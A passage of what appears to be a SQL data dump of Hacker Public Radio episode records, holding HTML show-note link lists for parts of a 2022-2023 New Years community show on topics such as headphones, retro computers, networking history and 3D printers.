Guide.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Pok%C3%A9mon\">wikipedia:</a>\nPok&#xE9;mon (an abbreviation for Pocket Monsters in Japan) is a Japanese\nmedia franchise managed by The Pok&#xE9;mon Company, founded by Nintendo,\nGame Freak, and Creatures.</li>\n<li><a\nhref=\"https://www.faa.gov/uas/commercial_operators/part_107_airspace_authorizations\">faa:</a>\nPart 107 Airspace Authorizations.</li>\n<li><a\nhref=\"http://siglerpedia.scottsigler.com/index.php/Galactic_Football_League_(series)\">scottsigler:</a>\nGalactic Football League (series).</li>\n<li><a href=\"https://www.audible.com/\">audible:</a> Try Audible free for\n30 days! Start listening to best-selling audiobooks, exclusive\nOriginals, and free podcasts with the Audible app.</li>\n<li><a href=\"https://www.johnconroe.com/books/zone-war/\">johnconroe:</a>\nZone War.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nathan_Lowell\">wikipedia:</a>\nNathan Lowell is a science fiction writer mostly known for his The\nGolden Age of the Solar Clipper series.</li>\n<li><a\nhref=\"https://michaelsullivan-author.com/books/\">michaelsullivan:</a>\nWelcome to the Worlds of Michael J. Sullivan.</li>\n<li><a\nhref=\"https://www.koreaherald.com/view.php?ud=20211118000777&amp;np=2&amp;mp=1\">koreaherald:</a>\ncrab migration season in korea.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=tarantula+migration&amp;t=ffab&amp;iax=videos&amp;ia=videos&amp;iai=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DYqtTicHZDQM\">duckduckgo:</a>\nTarantula migration.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Candiru_(fish)\">wikipedia:</a>\nCandiru (fish).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Ballooning_(spider)\">wikipedia:</a>\nBallooning, sometimes called kiting, is a process by which spiders, and\nsome other small invertebrates, move through the air by releasing one or\nmore gossamer threads to catch the wind, causing them to become airborne\nat the mercy of air currents and electric fields.</li>\n<li><a\nhref=\"https://www.dictionary.com/e/slang/sportsball/\">dictionary:</a>\nSportsball is a mildly critical or humorous term used by people who\nadmit they don&#x2019;t know or care about sports.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Thelyphonida\">wikipedia:</a>\nThelyphonida is an arachnid order comprising invertebrates commonly\nknown as whip scorpions or vinegaroons (also spelled vinegarroons and\nvinegarones).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Solifugae\">wikipedia:</a>\nSolifugae is an order of animals in the class Arachnida known variously\nas camel spiders, wind scorpions, sun spiders, or solifuges.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Banana_spider\">wikipedia:</a>\nBanana spider (many types of banana spider).</li>\n<li><a href=\"https://www.tullamoredew.com/en-gb/\">tullamoredew:</a>\nTullamore Dew, rendered in most branding as Tullamore D.E.W., is a brand\nof Irish whiskey produced by William Grant &amp; Sons.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Yellowstone_Caldera\">wikipedia:</a>\nThe Yellowstone Caldera, sometimes referred to as the Yellowstone\nSupervolcano, is a volcanic caldera and supervolcano in Yellowstone\nNational Park in the Western United States.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Superstition\">wikipedia:</a>\nA superstition is any belief or practice considered by non-practitioners\nto be irrational or supernatural, attributed to fate or magic, perceived\nsupernatural influence, or fear of that which is unknown.</li>\n<li><a href=\"https://www.murdermittens.com/\">murdermittens:</a> Look at\nall dem cattos!</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Feral_cat\">wikipedia:</a> A\nferal cat or a stray cat is an unowned domestic cat (Felis catus) that\nlives outdoors and avoids human contact: it does not allow itself to be\nhandled or touched, and usually remains hidden from humans.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_cat_breeds\">wikipedia:</a>\nThe following list of cat breeds includes only domestic cat breeds and\ndomestic and wild hybrids.</li>\n<li><a href=\"https://www.skullcandy.com/\">skullcandy:</a> Discover life\nat full volume with headphones, earbuds, speakers &amp; more.</li>\n<li><a href=\"https://whataburger.com/home\">whataburger:</a> The\nWhataburger.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Zardoz\">wikipedia:</a> Zardoz\nis a 1974 science fantasy film written, produced, and directed by John\nBoorman and starring Sean Connery and Charlotte Rampling.</li>\n<li><a\nhref=\"https://usa.1more.com/products/triple-driver-in-ear-headphones\">1more:</a>\n1MORE Triple Driver In-Ear Headphones.</li>\n<li><a\nhref=\"https://www.lg.com/us/bluetooth-headsets-headphones/lg-HBS-770-Black-tone-pro\">lg:</a>\nLG TONE PRO Wireless Stereo Headset.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=skullcandy+2xl+headphones&amp;t=ffab&amp;iax=images&amp;ia=images\">duckduckgo:</a>\nskullcandy 2xl headphones.</li>\n<li><a\nhref=\"https://components101.com/connectors/35mm-audio-jack\">components101:</a>\n3.5mm Audio Jack (Male).</li>\n<li><a href=\"https://www.tllts.org/\">The Linux link tech show</a> The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.</li>\n<li><a href=\"https://hak5.org/\">hak5:</a> Hak5 advances InfoSec through\naward winning podcasts, leading pentest gear and an inclusive community\n&#x2014; where all hackers belong.</li>\n<li><a\nhref=\"https://www.sweetwater.com/c1045--Earphones?highlight=Aonic215Wh&amp;mrkgadid=3251364885&amp;mrkgcl=28&amp;mrkgen=mpla&amp;mrkgbflag=0&amp;mrkgcat=livesound&amp;lighting&amp;acctid=21700000001645388&amp;dskeywordid=92700046997885165&amp;lid=92700046997885165&amp;ds_s_kwgid=58700005286965703&amp;ds_s_inventory_feed_id=97700000007215323&amp;ds_a_cid=405527921&amp;ds_a_caid=9232356410&amp;ds_a_agid=100560912424&amp;ds_a_lid=pla-924132551967&amp;dsproductgroupid=4581664953824924&amp;product_id=Aonic215Wh&amp;prodctry=US&amp;prodlang=EN&amp;channel=Online&amp;storeid=&amp;device=c&amp;network=s&amp;matchtype=e&amp;adpos=largenumber&amp;locationid=&amp;creative=&amp;targetid=pla-4581664953824924&amp;campaignid=283268302&amp;awsearchcpc=1&amp;msclkid=a0702e293bf0186d0bd84df9bc958349&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=aaShopping%20-%20Core%20-%20Live%20Sound%20%26%20Lighting&amp;utm_term=4581664953824924&amp;utm_content=Live%20Sound%20%26%20Lighting%20-%20Live%20Sound%20Monitoring&amp;gclid=a0702e293bf0186d0bd84df9bc958349&amp;gclsrc=3p.ds\">sweetwater:</a>\nShure AONIC 215 Sound Isolating Earphones.</li>\n<li><a\nhref=\"https://www.creality.com/products/cr-10s-pro-v2-3d-printer\">creality:</a>\nCR-10S Pro V2 3D Printer.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=monoprice+maker+select+v2&amp;t=ffab&amp;ia=web\">duckduckgo:</a>\nmonoprice maker select v2 search.</li>\n<li><a\nhref=\"https://www.elegoo.com/products/elegoo-saturn-4k-mono-lcd-3d-printer\">elegoo:</a>\nELEGOO Saturn 4K Mono LCD MSLA Resin 3D Printer.</li>\n<li><a\nhref=\"https://www.anycubic.com/products/anycubic-photon-3d-printer\">anycubic:</a>\nAnycubic Photon.</li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://atari.com/products/classic-joystick\">atari:</a> The\nnew Atari VCS&#x2122; Wireless Classic Joystick includes features like paddle\ncontrol, rumble, LED light effects, and a second fire button to give\nretro gaming new life.</li>\n<li><a\nhref=\"https://www.ebay.com/itm/304650123085?chn=ps&amp;norover=1&amp;mkevt=1&amp;mkrid=711-213727-13078-0&amp;mkcid=2&amp;itemid=304650123085&amp;targetid=4580496732614415&amp;device=c&amp;mktype=&amp;googleloc=&amp;poi=&amp;campaignid=418233788&amp;mkgroupid=1230353745471221&amp;rlsatarget=pla-4580496732614415&amp;abcId=9300542&amp;merchantid=51291&amp;msclkid=c83f01b1d780103f7ee862615970632f\">ebay:</a>\nOEM Original Atari 7800 Pro Line Joystick Controller.</li>\n<li><a\nhref=\"https://www.ebay.com/sch/i.html?_nkw=LG%20HBS-1100&amp;norover=1&amp;mkevt=1&amp;mkrid=711-34000-13078-0&amp;mkcid=2&amp;mkscid=102&amp;keyword=LG%20HBS-1100&amp;crlp=_2-1300-0-1-1&amp;MT_ID=&amp;geo_id=&amp;rlsatarget=kwd-77584427326437:loc-190&amp;adpos=&amp;device=c&amp;mktype=&amp;loc=90406&amp;poi=&amp;abcId=&amp;cmpgn=329883332&amp;sitelnk=&amp;adgroupid=1241348785027247&amp;network=s&amp;matchtype=e&amp;msclkid=052c7d18b5b01975b31f1ec82501b7b1\">ebay:</a>\nLG HBS-1100.</li>\n<li><a\nhref=\"https://www.sony.com/lr/electronics/truly-wireless/wf-xb700\">sony:</a>\nWF-XB700 Wireless Headphones with EXTRA BASS.</li>\n<li><a\nhref=\"https://www.skullcandy.com/shop/headphones/bluetooth-headphones/hesh-3-wireless-experience\">skullcandy:</a>\nskullcandy hesh 3.</li>\n<li><a\nhref=\"https://www.skullcandy.com/crusher-evo-wireless-headphones/\">skullcandy:</a>\nskullcandy crusher.</li>\n<li><a\nhref=\"https://www.samsung.com/us/audio/headphones/in-ear/samsung-level-u-wireless-headphones-black-sapphire-eo-bg920bbebus/\">samsung:</a>\nLevel U Wireless Headphones.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3864,'2023-05-25','2022-2023 New Years Show Episode 8',7396,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-8\">Episode #8</h2>\n<ul>\n<li><p>Telefunken<br />\n<a href=\"https://telefunken.com/\"\nclass=\"uri\">https://telefunken.com/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Telefunken\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Telefunken</a></p></li>\n<li><p>Sena (motorcycle headphones)<br />\n<a href=\"https://www.sena.com/us-en\"\nclass=\"uri\">https://www.sena.com/us-en</a></p></li>\n<li><p>Cardo (motorcycle headphones)<br />\n<a href=\"https://www.cardosystems.com/products/\"\nclass=\"uri\">https://www.cardosystems.com/products/</a></p></li>\n<li><p>DT 770 Pro Headset<br />\n<a\nhref=\"https://www.soundguys.com/beyerdynamic-dt-770-studio-80ohm-review-15348/\"\nclass=\"uri\">https://www.soundguys.com/beyerdynamic-dt-770-studio-80ohm-review-15348/</a></p></li>\n<li><p>Audio-Technica<br />\n<a href=\"https://www.audio-technica.com/en-us/\"\nclass=\"uri\">https://www.audio-technica.com/en-us/</a></p></li>\n<li><p>Skullcandy<br />\n<a href=\"https://www.skullcandy.com/\"\nclass=\"uri\">https://www.skullcandy.com/</a></p></li>\n<li><p>LG Tone<br />\n<a href=\"https://www.lg.com/us/headphones\"\nclass=\"uri\">https://www.lg.com/us/headphones</a></p></li>\n<li><p>Pine Buds Pro<br />\n<a\nhref=\"https://pine64.com/product/pinebuds-pro-open-firmware-capable-anc-wireless-earbuds/\"\nclass=\"uri\">https://pine64.com/product/pinebuds-pro-open-firmware-capable-anc-wireless-earbuds/</a></p></li>\n<li><p>Acura RSX<br />\n<a href=\"https://acura.fandom.com/wiki/Acura_RSX\"\nclass=\"uri\">https://acura.fandom.com/wiki/Acura_RSX</a></p></li>\n<li><p>Flying Rich<br />\n<a href=\"http://flyingrich.com/\"\nclass=\"uri\">http://flyingrich.com/</a></p></li>\n<li><p>Hyundai Genesis<br />\n<a href=\"https://www.genesis.com/us/en/genesis.html\"\nclass=\"uri\">https://www.genesis.com/us/en/genesis.html</a></p></li>\n<li><p>Dodge Challenger<br />\n<a href=\"https://www.dodge.com/challenger.html\"\nclass=\"uri\">https://www.dodge.com/challenger.html</a></p></li>\n<li><p>Ohio Linux Fest (OLF)<br />\n<a href=\"https://olfconference.org/\"\nclass=\"uri\">https://olfconference.org/</a></p></li>\n<li><p>Subaru BRZ<br />\n<a href=\"https://www.subaru.com/vehicles/brz.html\"\nclass=\"uri\">https://www.subaru.com/vehicles/brz.html</a></p></li>\n<li><p>2009 Triumph America Motorcycle<br />\n<a\nhref=\"https://www.motorcycle.com/specs/triumph/cruiser/2009/america/base.html\"\nclass=\"uri\">https://www.motorcycle.com/specs/triumph/cruiser/2009/america/base.html</a></p></li>\n<li><p>South East Linux Fest<br />\n<a href=\"https://southeastlinuxfest.org/\"\nclass=\"uri\">https://southeastlinuxfest.org/</a></p></li>\n<li><p>/dev/random Shows<br />\n<a href=\"https://archive.org/details/devrandom\"\nclass=\"uri\">https://archive.org/details/devrandom</a></p></li>\n<li><p>Saturn Sky<br />\n<a href=\"https://en.wikipedia.org/wiki/Saturn_Sky\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Saturn_Sky</a></p></li>\n<li><p>Chevrolet Corvair<br />\n<a href=\"https://en.wikipedia.org/wiki/Chevrolet_Corvair\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Chevrolet_Corvair</a></p></li>\n<li><p>Phone Phreaking<br />\n<a href=\"https://en.wikipedia.org/wiki/Phreaking\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Phreaking</a></p></li>\n<li><p>Creality CR-10 Mini 3D Printer<br />\n<a\nhref=\"https://creality3d.shop/products/creality3d-cr-10mini-3d-printer-with-resume-print-300x220x300mm\"\nclass=\"uri\">https://creality3d.shop/products/creality3d-cr-10mini-3d-printer-with-resume-print-300x220x300mm</a></p></li>\n<li><p>Bigtreetech SKR Control Board<br />\n<a\nhref=\"https://biqu.equipment/collections/control-board/products/bigtreetech-btt-skr-3-ez-control-board-mainboard-for-3d-printer?variant=39786596171874\"\nclass=\"uri\">https://biqu.equipment/collections/control-board/products/bigtreetech-btt-skr-3-ez-control-board-mainboard-for-3d-printer?variant=39786596171874</a></p></li>\n<li><p>DJI Mini 3 Drone<br />\n<a href=\"https://www.dji.com/mini-3\"\nclass=\"uri\">https://www.dji.com/mini-3</a></p></li>\n<li><p>Thingiverse<br />\n<a href=\"https://www.thingiverse.com/\"\nclass=\"uri\">https://www.thingiverse.com/</a></p></li>\n<li><p>CAT 6 Cable<br />\n<a href=\"https://en.wikipedia.org/wiki/Category_6_cable\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Category_6_cable</a></p></li>\n<li><p>FUBO TV<br />\n<a href=\"https://www.fubo.tv/welcome\"\nclass=\"uri\">https://www.fubo.tv/welcome</a></p></li>\n<li><p>CPAP Machine<br />\n<a\nhref=\"https://my.clevelandclinic.org/health/treatments/22043-cpap-machine\"\nclass=\"uri\">https://my.clevelandclinic.org/health/treatments/22043-cpap-machine</a></p></li>\n<li><p>Trazodone<br />\n<a href=\"https://medlineplus.gov/druginfo/meds/a681038.html\"\nclass=\"uri\">https://medlineplus.gov/druginfo/meds/a681038.html</a><br />\n<a href=\"https://www.healthline.com/health/sleep/trazodone-for-sleep\"\nclass=\"uri\">https://www.healthline.com/health/sleep/trazodone-for-sleep</a></p></li>\n<li><p>Tylenol PM<br />\n<a\nhref=\"https://www.tylenol.com/products/tylenol-pm-extra-strength-caplet\"\nclass=\"uri\">https://www.tylenol.com/products/tylenol-pm-extra-strength-caplet</a></p></li>\n<li><p>Melatonin<br />\n<a\nhref=\"https://www.mayoclinic.org/drugs-supplements-melatonin/art-20363071\"\nclass=\"uri\">https://www.mayoclinic.org/drugs-supplements-melatonin/art-20363071</a></p></li>\n<li><p>Jackery Battery<br />\n<a href=\"https://www.jackery.com/\"\nclass=\"uri\">https://www.jackery.com/</a></p></li>\n<li><p>Resmed Travel CPAP<br />\n<a\nhref=\"https://www.resmed.com/en-us/sleep-apnea/cpap-parts-support/sleep-apnea-full-products-list/cpap-machines/airmini-portable-cpap/\"\nclass=\"uri\">https://www.resmed.com/en-us/sleep-apnea/cpap-parts-support/sleep-apnea-full-products-list/cpap-machines/airmini-portable-cpap/</a></p></li>\n<li><p>Philips Respironics CPAP Recall<br />\n<a\nhref=\"https://www.usa.philips.com/healthcare/e/sleep/communications/src-update\"\nclass=\"uri\">https://www.usa.philips.com/healthcare/e/sleep/communications/src-update</a></p></li>\n<li><p>Excedrin Migraine<br />\n<a href=\"https://www.excedrin.com/products/migraine/\"\nclass=\"uri\">https://www.excedrin.com/products/migraine/</a></p></li>\n<li><p>Mycroft Personal Assistant<br />\n<a href=\"https://mycroft.ai/about-mycroft/\"\nclass=\"uri\">https://mycroft.ai/about-mycroft/</a></p></li>\n<li><p>Merkury Innovations<br />\n<a href=\"https://merkuryinnovations.com/\"\nclass=\"uri\">https://merkuryinnovations.com/</a></p></li>\n<li><p>ZWave<br />\n<a href=\"https://www.z-wave.com/\"\nclass=\"uri\">https://www.z-wave.com/</a></p></li>\n<li><p>ADT Alarm System<br />\n<a href=\"https://www.adt.com/\"\nclass=\"uri\">https://www.adt.com/</a></p></li>\n<li><p>Home Assistant<br />\n<a href=\"https://www.home-assistant.io/\"\nclass=\"uri\">https://www.home-assistant.io/</a></p></li>\n<li><p>ESP 8266<br />\n<a href=\"https://en.wikipedia.org/wiki/ESP8266\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ESP8266</a><br />\n<a href=\"https://www.espressif.com/en/products/socs/esp8266\"\nclass=\"uri\">https://www.espressif.com/en/products/socs/esp8266</a></p></li>\n<li><p>PTSD<br />\n<a\nhref=\"https://www.mayoclinic.org/diseases-conditions/post-traumatic-stress-disorder/symptoms-causes/syc-20355967\"\nclass=\"uri\">https://www.mayoclinic.org/diseases-conditions/post-traumatic-stress-disorder/symptoms-causes/syc-20355967</a></p></li>\n<li><p>Apple IIc<br />\n<a href=\"https://www.apple2history.org/history/ah08/\"\nclass=\"uri\">https://www.apple2history.org/history/ah08/</a></p></li>\n<li><p>Atari 800 XL<br />\n<a href=\"https://www.old-computers.com/museum/computer.asp?c=27\"\nclass=\"uri\">https://www.old-computers.com/museum/computer.asp?c=27</a></p></li>\n<li><p>Eating Rats<br />\n<a href=\"https://foodwine.com/eat-rats/\"\nclass=\"uri\">https://foodwine.com/eat-rats/</a></p></li>\n<li><p>Alligator Meat<br />\n<a href=\"https://en.wikipedia.org/wiki/Alligator_meat\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Alligator_meat</a></p></li>\n<li><p>Polar Bear Club<br />\n<a href=\"https://polarbearclub.org/pb-site/\"\nclass=\"uri\">https://polarbearclub.org/pb-site/</a></p></li>\n<li><p>Slingshot<br />\n<a href=\"https://en.wikipedia.org/wiki/Slingshot\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Slingshot</a></p></li>\n<li><p>Lenovo T430<br />\n<a\nhref=\"https://pcsupport.lenovo.com/us/en/products/laptops-and-netbooks/thinkpad-t-series-laptops/thinkpad-t430/2349\"\nclass=\"uri\">https://pcsupport.lenovo.com/us/en/products/laptops-and-netbooks/thinkpad-t-series-laptops/thinkpad-t430/2349</a></p></li>\n<li><p>ADAFRUIT<br />\n<a href=\"https://www.adafruit.com/\"\nclass=\"uri\">https://www.adafruit.com/</a></p></li>\n<li><p>Raspberry Pi Scarcity<br />\n<a\nhref=\"https://www.raspberrypi.com/news/supply-chain-update-its-good-news/\"\nclass=\"uri\">https://www.raspberrypi.com/news/supply-chain-update-its-good-news/</a></p></li>\n<li><p>ODROID Mini PCs<br />\n<a href=\"https://www.hardkernel.com/\"\nclass=\"uri\">https://www.hardkernel.com/</a></p></li>\n<li><p>Orange Pi 800<br />\n<a\nhref=\"http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi800.html\"\nclass=\"uri\">http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi800.html</a></p></li>\n<li><p>Docker<br />\n<a href=\"https://www.docker.com/\"\nclass=\"uri\">https://www.docker.com/</a></p></li>\n<li><p>Digital Equipment Corporation<br />\n<a href=\"https://www.wikiwand.com/en/Digital_Equipment_Corporation\"\nclass=\"uri\">https://www.wikiwand.com/en/Digital_Equipment_Corporation</a><br />\n<a\nhref=\"https://www.computerhistory.org/brochures/d-f/digital-equipment-corporation-dec/\"\nclass=\"uri\">https://www.computerhistory.org/brochures/d-f/digital-equipment-corporation-dec/</a></p></li>\n<li><p>SimH<br />\n<a href=\"http://simh.trailing-edge.com/\"\nclass=\"uri\">http://simh.trailing-edge.com/</a></p></li>\n<li><p>PDP-8<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-8\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-8</a><br />\n<a href=\"https://www.pdp8online.com/\"\nclass=\"uri\">https://www.pdp8online.com/</a></p></li>\n<li><p>PDP-11<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-11\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-11</a><br />\n<a\nhref=\"https://arstechnica.com/gadgets/2022/03/a-brief-tour-of-the-pdp-11-the-most-influential-minicomputer-of-all-time/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2022/03/a-brief-tour-of-the-pdp-11-the-most-influential-minicomputer-of-all-time/</a></p></li>\n<li><p>DECtape<br />\n<a href=\"https://en.wikipedia.org/wiki/DECtape\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DECtape</a></p></li>\n<li><p>PDP-15<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-15\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-15</a></p></li>\n<li><p>Commodore Amiga<br />\n<a href=\"https://en.wikipedia.org/wiki/Amiga\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Amiga</a><br />\n<a href=\"https://en.wikipedia.org/wiki/History_of_the_Amiga\"\nclass=\"uri\">https://en.wikipedia.org/wiki/History_of_the_Amiga</a><br />\n<a\nhref=\"https://www.popularmechanics.com/technology/gadgets/a27437/amiga-2017-a1222-tabor/\"\nclass=\"uri\">https://www.popularmechanics.com/technology/gadgets/a27437/amiga-2017-a1222-tabor/</a><br />\n<a href=\"http://theamigamuseum.com/amiga-timeline/\"\nclass=\"uri\">http://theamigamuseum.com/amiga-timeline/</a><br />\n<a\nhref=\"https://arstechnica.com/gadgets/2015/07/the-amiga-turns-30-nobody-had-ever-designed-a-personal-computer-this-way/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2015/07/the-amiga-turns-30-nobody-had-ever-designed-a-personal-computer-this-way/</a></p></li>\n<li><p>BBS - Bulletin Board System<br />\n<a\nhref=\"https://www.theatlantic.com/technology/archive/2016/11/the-lost-civilization-of-dial-up-bulletin-board-systems/506465/\"\nclass=\"uri\">https://www.theatlantic.com/technology/archive/2016/11/the-lost-civilization-of-dial-up-bulletin-board-systems/506465/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Bulletin_board_system\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Bulletin_board_system</a></p></li>\n<li><p>FidoNET<br />\n<a href=\"https://www.fidonet.org/\"\nclass=\"uri\">https://www.fidonet.org/</a></p></li>\n<li><p>DESQview<br />\n<a href=\"https://en.wikipedia.org/wiki/DESQview\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DESQview</a></p></li>\n<li><p>Sidekick (Borland Personal Information Manager)<br />\n<a href=\"https://en.wikipedia.org/wiki/Borland_Sidekick\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Borland_Sidekick</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3874,'2023-06-08','2022-2023 New Years Show Episode 9',7380,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-9\">Episode #9</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/MS-DOS\">wikipedia:</a> MS-DOS\nis an operating system for x86-based personal computers mostly developed\nby Microsoft.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Linux\">wikipedia:</a> Linux\n(/&#x2C8;li&#x2D0;n&#x28A;ks/ (listen) LEE-nuuks or /&#x2C8;l&#x26A;n&#x28A;ks/ LIN-uuks) is a family of\nopen-source Unix-like operating systems based on the Linux kernel, an\noperating system kernel first released on September 17, 1991, by Linus\nTorvalds.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Token_Ring\">wikipedia:</a>\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BNC_connector\">wikipedia:</a>\nThe BNC connector (initialism of \"Bayonet Neill&#x2013;Concelman\") is a\nminiature quick connect/disconnect radio frequency connector used for\ncoaxial cable.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/GPRS_core_network\">wikipedia:</a>\nGPRS core network.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Novell\">wikipedia:</a>\nNovell, Inc. /no&#x28A;&#x2C8;v&#x25B;l/ was an American software and services company\nheadquartered in Provo, Utah, that existed from 1980 until 2014.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BITNET\">wikipedia:</a>\nBITNET.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DECnet\">wikipedia:</a>\nDECnet.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/3Com\">wikipedia:</a>\n3Com.</li>\n<li><a href=\"https://www.realtek.com/en/\">realtek:</a> realtek.</li>\n<li><a href=\"https://www.tp-link.com/us/\">tp:</a> TP-Link Vastly Expands\nSmart Home Lineup With Tapo Full Home Security Solutions, Tapo Robot\nVacuums and Various Matter Compatible Products.</li>\n<li><a href=\"https://www.cisco.com/\">cisco:</a> Cisco Systems, Inc.,\ncommonly known as Cisco, is an American-based multinational digital\ncommunications technology conglomerate corporation headquartered in San\nJose, California.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM\">wikipedia:</a> The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=bootleg+stuff&amp;t=ffab&amp;iax=images&amp;ia=images\">duckduckgo:</a>\nBootleg stuff search.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/VM_(operating_system)\">wikipedia:</a>\nVM (often: VM/CMS) is a family of IBM virtual machine operating systems\nused on IBM mainframes System/370, System/390, zSeries, System z and\ncompatible systems, including the Hercules emulator for personal\ncomputers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Disk_partitioning\">wikipedia:</a>\nDisk partitioning or disk slicing is the creation of one or more regions\non secondary storage, so that each region can be managed\nseparately.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/IBM_System/360\">wikipedia:</a> The\nIBM System/360 is a family of mainframe computer systems that was\nannounced by IBM on April 7, 1964, and delivered between 1965 and\n1978.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/IBM_System/370\">wikipedia:</a> The\nIBM System/370 (S/370) is a model range of IBM mainframe computers\nannounced on June 30, 1970, as the successors to the System/360\nfamily.</li>\n<li><a\nhref=\"https://www.cisco.com/c/en/us/products/routers/what-is-routing.html\">cisco:</a>\nWhat Is Routing?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_protocol_suite\">wikipedia:</a>\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/OSI_protocols\">wikipedia:</a>\nThe Open Systems Interconnection protocols are a family of information\nexchange standards developed jointly by the ISO and the ITU-T. The\nstandardization process began in 1977.</li>\n<li><a href=\"https://www.perl.org/\">perl:</a> Perl is a highly capable,\nfeature-rich programming language with over 30 years of\ndevelopment.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/FTP_server\">wikipedia:</a> An\nFTP server is computer software consisting of one or more programs that\ncan execute commands given by remote client(s) such as receiving,\nsending, deleting files, creating or removing directories, etc.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DARPA\">wikipedia:</a> The\nDefense Advanced Research Projects Agency (DARPA) is a research and\ndevelopment agency of the United States Department of Defense\nresponsible for the development of emerging technologies for use by the\nmilitary.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ARPANET\">wikipedia:</a> The\nAdvanced Research Projects Agency Network (ARPANET) was the first\nwide-area packet-switched network with distributed control and one of\nthe first networks to implement the TCP/IP protocol suite.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Modem\">wikipedia:</a> A\nmodulator-demodulator or modem is a computer hardware device that\nconverts data from a digital format into a format suitable for an analog\ntransmission medium such as telephone or radio.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Telnet\">wikipedia:</a> Telnet\n(short for \"teletype network\") is a client/server application protocol\nthat provides access to virtual terminals of remote systems on local\narea networks or the Internet.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Remote_Function_Call\">wikipedia:</a>\nRemote Function Call is a proprietary SAP interface.</li>\n<li><a href=\"https://icannwiki.org/BBN\">icannwiki:</a> BBN (Bolt,\nBeranek and Newman Inc.), now Raytheon BBN Technologies, is one of 